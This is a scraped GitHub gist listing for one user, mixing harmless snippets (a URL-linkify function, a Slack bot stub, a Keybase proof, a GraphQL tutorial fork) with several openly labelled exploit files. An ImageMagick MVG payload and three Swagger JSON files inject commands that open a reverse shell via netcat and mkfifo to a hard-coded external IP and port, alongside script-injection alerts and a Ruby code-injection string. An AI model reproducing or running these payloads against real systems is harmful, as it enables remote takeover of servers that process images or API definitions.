Skip to content

Instantly share code, notes, and snippets.

☢️
not good, not terrible

Odi mathdroid

☢️
not good, not terrible
Block or report user

Report or block mathdroid

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View gist:c5e51a3784dcafd4d16c
function urlify(text) {
var urlRegex = /(https?:\/\/[^\s]+)/g;
return text.replace(urlRegex, function(url) {
return '<a href="' + url + '">' + url + '</a>';
})
// or
// return text.replace(urlRegex, '<a href="$1">$1</a>')
}
var text = "Find me at http://www.example.com and also at http://stackoverflow.com";
View gist:759789332e485d879f8b
// Requiring our modules
var slackAPI = require('slackbotapi');
var request = require('request');
// Starting
var slack = new slackAPI({
'token': "xoxb-TOKENTOKENTOKENTOKEN",
'logging': true
View keybase.md

Keybase proof

I hereby claim:

  • I am mathdroid on github.
  • I am mathdroid (https://keybase.io/mathdroid) on keybase.
  • I have a public key whose fingerprint is A736 307A 2053 E7AF 459D D794 CA0A 04FE A58A D8AC

To claim this, I am signing this object:

View payload2.jpg
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg"; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 103.253.147.148 9700 >/tmp/f;touch "hello)'
pop graphic-context
View swaggr.json
{"apiVersion":"1.0","swaggerVersion":"1.2","apis":[{"path":"/default/allergy-resource","description":"Allergy Resource"},{"path":"/default/delivery-resource","description":"Delivery Resource"},{"path":"/default/ingredient-resource","description":"Ingredient Resource"},{"path":"/default/menu-resource","description":"Menu Resource"},{"path":"/default/old-menu-resource","description":"Old Menu Resource"},{"path":"/default/old-order-resource","description":"Old Order Resource"},{"path":"/default/old-user-resource","description":"Old User Resource"},{"path":"/default/order-resource","description":"Order Resource"},{"path":"/default/route-resource","description":"Route Resource"}],"info":{"title":"Dahmakan API","description":"API for Dahmakan"},
"paths": {
"/a\"; try{java.lang.Runtime.getRuntime().exec(\"ls\");}catch(Exception e){} \"":"lol"}}
View exp4.json
{
"apiVersion":"1.0",
"swaggerVersion":"1.2",
"apis":[],
"info":{
"title":"EXP3",
"description":"API for Dahmakan<script>alert('yoms3ama')</script>"
},
"authorizations": {
"/a\"; try{java.lang.Runtime.getRuntime().exec(\"nc -e /bin/sh 103.253.147.148 9700\");}catch(Exception e){} \"": "lol"
View exploit9.json
{
"apiVersion":"1.0",
"swaggerVersion":"1.2",
"apis":[
{"path":"/a\"; try{java.lang.Runtime.getRuntime().exec(\"nc -e /bin/sh 103.253.147.148 9700\");}catch(Exception e){} \"","description":"Allergy Resource"}
],
"info": {
"description":"<script>alert('yosmcama')</script>=begin",
"title": "=end `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 103.253.147.148 9700 >/tmp/f`"
},
View index.js
import { Component } from "react";
export default class Selector extends Component {
constructor() {
super();
this.state = {
value: "a",
num: 0
};
this.handleChange = this.handleChange.bind(this);
this.handleChangeNum = this.handleChangeNum.bind(this);
@mathdroid
mathdroid / tutorial.md
Created Jul 19, 2018 — forked from swalkinshaw/tutorial.md
Designing a GraphQL API
View tutorial.md

Tutorial: Designing a GraphQL API

This tutorial was created by Shopify for internal purposes. We've created a public version of it since we think it's useful to anyone creating a GraphQL API.

It's based on lessons learned from creating and evolving production schemas at Shopify over almost 3 years. The tutorial has evolved and will continue to change in the future so nothing is set in stone.

View profilevideo.sh
#! /usr/bin/env bash
# Requirements:
# - `primitive` @ https://github.com/fogleman/primitive,
# - `imagemagick` @ http://www.imagemagick.org/script/index.php,
# - `ffmpeg` @ https://ffmpeg.org/
# Make sure your input photo is named `input.jpg` (variable support later!)
# keep yo folder neat
You can’t perform that action at this time.